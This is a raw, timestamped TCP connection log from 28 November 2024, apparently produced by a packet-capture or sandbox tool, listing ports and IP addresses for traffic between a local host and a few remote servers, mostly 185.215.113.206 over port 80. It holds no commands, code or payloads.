Nov 28, 2024 17:24:19.673512936 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.674114943 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.674179077 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.674201012 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.674233913 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.674715042 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.674782038 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.674896002 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.675501108 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.675565004 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.675704956 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.676105976 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.676168919 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.676229000 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.676959038 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.677022934 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.677079916 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.677159071 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.677676916 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.677824020 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.677881956 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.678411961 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.678486109 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.678546906 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.679223061 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.679286957 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.679338932 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.679372072 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.680028915 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.680147886 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.680212975 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.680813074 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.680876017 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.680952072 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.681042910 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.681710005 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.681754112 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.681823015 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.682177067 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.682391882 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.682482958 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.682492018 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.682704926 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.683250904 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.683371067 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.683428049 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.684001923 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.684268951 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.700050116 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.700093985 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.700244904 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.700259924 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.700289011 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.700450897 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.700501919 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.701170921 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.701225996 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.701278925 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.702018023 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.702071905 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.702095032 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.702131033 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.720837116 CET	443	49728	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:19.720920086 CET	49728	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:19.723743916 CET	49728	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:19.723752975 CET	443	49728	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:19.724046946 CET	443	49728	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:19.724092960 CET	49728	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:19.724186897 CET	49728	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:19.771322966 CET	443	49728	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:19.790502071 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.790585041 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.790585041 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.790689945 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.790709019 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.790807009 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.790822983 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.790932894 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.791532993 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.791599035 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.791682005 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.791742086 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.792354107 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.792414904 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.792490005 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.792551994 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.792999983 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.793068886 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.793149948 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.793299913 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.793759108 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.793811083 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.793875933 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.793932915 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.794673920 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.794738054 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.794789076 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.794876099 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.797791004 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.797810078 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.797822952 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.797837019 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.797848940 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.797852993 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.797861099 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.797873974 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.797878981 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.797888041 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.797919035 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.797935963 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.798517942 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.798604965 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.798855066 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.799271107 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.799346924 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.799384117 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.799441099 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.800041914 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.800102949 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.800179005 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.800909996 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.800959110 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.801037073 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.801107883 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.801851988 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.801901102 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.801976919 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.802022934 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.802659988 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.802707911 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.802741051 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.802808046 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.803780079 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.803877115 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.803989887 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.804039955 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.804620981 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.804677963 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.804682016 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.804761887 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.805318117 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.805365086 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.805418968 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.806075096 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.806137085 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.806186914 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.806759119 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.806826115 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.806862116 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.806919098 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.807605982 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.807657957 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.807692051 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.807746887 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.808527946 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.808593988 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.808645010 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.808686018 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.810233116 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.810281038 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.810314894 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.810360909 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.810457945 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.810471058 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.810497046 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.810514927 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.811296940 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.811348915 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.811482906 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.811528921 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:19.812006950 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:19.812060118 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:20.079673052 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:20.079699039 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:20.079708099 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:20.079716921 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:20.079725027 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:20.079740047 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:20.079739094 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:20.079755068 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:20.079770088 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:20.079771996 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:20.079785109 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:20.079799891 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:20.079818010 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:20.079818964 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:20.079833984 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:20.079837084 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:20.079849005 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:20.079863071 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:20.079865932 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:20.079889059 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:20.079891920 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:20.079904079 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:20.079919100 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:20.079935074 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:20.079940081 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:20.079952955 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:20.079962969 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:20.079978943 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:20.079983950 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:20.079996109 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:20.079998970 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:20.080013990 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:20.080024958 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:20.080029964 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:20.080043077 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:20.080054998 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:20.080058098 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:20.080071926 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:20.080075026 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:20.080087900 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:20.080106020 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:20.080132961 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:20.081012964 CET	443	49730	20.223.35.26	192.168.2.6
Nov 28, 2024 17:24:20.081088066 CET	49730	443	192.168.2.6	20.223.35.26
Nov 28, 2024 17:24:20.081741095 CET	49730	443	192.168.2.6	20.223.35.26
Nov 28, 2024 17:24:20.081758976 CET	443	49730	20.223.35.26	192.168.2.6
Nov 28, 2024 17:24:20.082660913 CET	443	49731	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:20.082777023 CET	49731	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:20.083856106 CET	443	49729	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:20.083919048 CET	49729	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:20.085443974 CET	49730	443	192.168.2.6	20.223.35.26
Nov 28, 2024 17:24:20.085478067 CET	443	49730	20.223.35.26	192.168.2.6
Nov 28, 2024 17:24:20.085971117 CET	49730	443	192.168.2.6	20.223.35.26
Nov 28, 2024 17:24:20.085989952 CET	443	49730	20.223.35.26	192.168.2.6
Nov 28, 2024 17:24:20.088907003 CET	49729	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:20.088913918 CET	443	49729	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:20.089129925 CET	49729	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:20.089137077 CET	443	49729	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:20.089196920 CET	443	49729	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:20.089241982 CET	49729	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:20.089724064 CET	49731	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:20.089726925 CET	443	49731	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:20.089911938 CET	49731	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:20.089919090 CET	443	49731	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:20.089967012 CET	443	49731	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:20.090090990 CET	49731	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:20.098037004 CET	443	49724	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:20.098052979 CET	443	49724	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:20.098098993 CET	49724	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:20.098108053 CET	443	49724	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:20.098119974 CET	443	49724	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:20.098165989 CET	49724	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:20.098485947 CET	49724	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:20.098495960 CET	443	49724	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:20.098506927 CET	49724	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:20.098511934 CET	443	49724	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:20.104543924 CET	49736	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:20.104582071 CET	443	49736	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:20.104701996 CET	49736	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:20.105107069 CET	49736	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:20.105119944 CET	443	49736	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:20.125221014 CET	443	49727	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:20.125246048 CET	443	49727	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:20.125262022 CET	443	49727	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:20.125287056 CET	49727	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:20.125327110 CET	49727	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:20.125339031 CET	443	49727	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:20.125385046 CET	49727	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:20.148215055 CET	443	49732	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:20.148685932 CET	49732	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:20.148725986 CET	443	49732	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:20.149190903 CET	49732	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:20.149198055 CET	443	49732	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:20.170555115 CET	443	49733	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:20.171119928 CET	49733	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:20.171133995 CET	443	49733	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:20.171693087 CET	49733	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:20.171698093 CET	443	49733	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:20.251270056 CET	443	49726	2.16.158.75	192.168.2.6
Nov 28, 2024 17:24:20.251293898 CET	443	49726	2.16.158.75	192.168.2.6
Nov 28, 2024 17:24:20.251463890 CET	49726	443	192.168.2.6	2.16.158.75
Nov 28, 2024 17:24:20.251477003 CET	443	49726	2.16.158.75	192.168.2.6
Nov 28, 2024 17:24:20.251580954 CET	49726	443	192.168.2.6	2.16.158.75
Nov 28, 2024 17:24:20.251791000 CET	443	49726	2.16.158.75	192.168.2.6
Nov 28, 2024 17:24:20.251842976 CET	443	49726	2.16.158.75	192.168.2.6
Nov 28, 2024 17:24:20.252018929 CET	49726	443	192.168.2.6	2.16.158.75
Nov 28, 2024 17:24:20.273456097 CET	49726	443	192.168.2.6	2.16.158.75
Nov 28, 2024 17:24:20.273492098 CET	443	49726	2.16.158.75	192.168.2.6
Nov 28, 2024 17:24:20.325181007 CET	443	49727	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:20.325206995 CET	443	49727	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:20.325270891 CET	49727	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:20.325280905 CET	443	49727	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:20.325330019 CET	49727	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:20.371387959 CET	443	49727	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:20.371411085 CET	443	49727	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:20.371464968 CET	49727	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:20.371470928 CET	443	49727	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:20.371516943 CET	49727	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:20.499809980 CET	443	49727	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:20.499833107 CET	443	49727	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:20.499942064 CET	49727	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:20.499957085 CET	443	49727	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:20.499993086 CET	49727	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:20.516505957 CET	443	49728	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:20.516524076 CET	443	49728	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:20.516578913 CET	49728	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:20.516585112 CET	443	49728	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:20.516618967 CET	49728	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:20.530900955 CET	443	49727	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:20.530920029 CET	443	49727	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:20.530968904 CET	49727	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:20.530973911 CET	443	49727	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:20.531013966 CET	49727	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:20.552212954 CET	443	49727	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:20.552232027 CET	443	49727	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:20.552308083 CET	49727	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:20.552314043 CET	443	49727	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:20.552367926 CET	49727	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:20.552386045 CET	49727	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:20.573699951 CET	443	49727	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:20.573718071 CET	443	49727	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:20.573784113 CET	49727	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:20.573791027 CET	443	49727	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:20.573839903 CET	49727	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:20.581552982 CET	443	49728	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:20.581562996 CET	443	49728	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:20.581654072 CET	49728	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:20.581660032 CET	443	49728	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:20.581698895 CET	49728	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:20.586528063 CET	443	49732	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:20.586595058 CET	443	49732	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:20.586709976 CET	49732	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:20.609163046 CET	443	49734	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:20.609169960 CET	443	49735	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:20.609853029 CET	443	49733	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:20.609908104 CET	443	49733	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:20.610017061 CET	49733	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:20.615304947 CET	443	49731	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:20.615334988 CET	443	49731	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:20.615348101 CET	443	49731	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:20.615417957 CET	49731	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:20.615427971 CET	443	49731	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:20.615472078 CET	49731	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:20.617295980 CET	49732	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:20.617325068 CET	443	49732	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:20.617342949 CET	49732	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:20.617350101 CET	443	49732	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:20.617492914 CET	49733	443	192.168.2.6	13.107.246.63
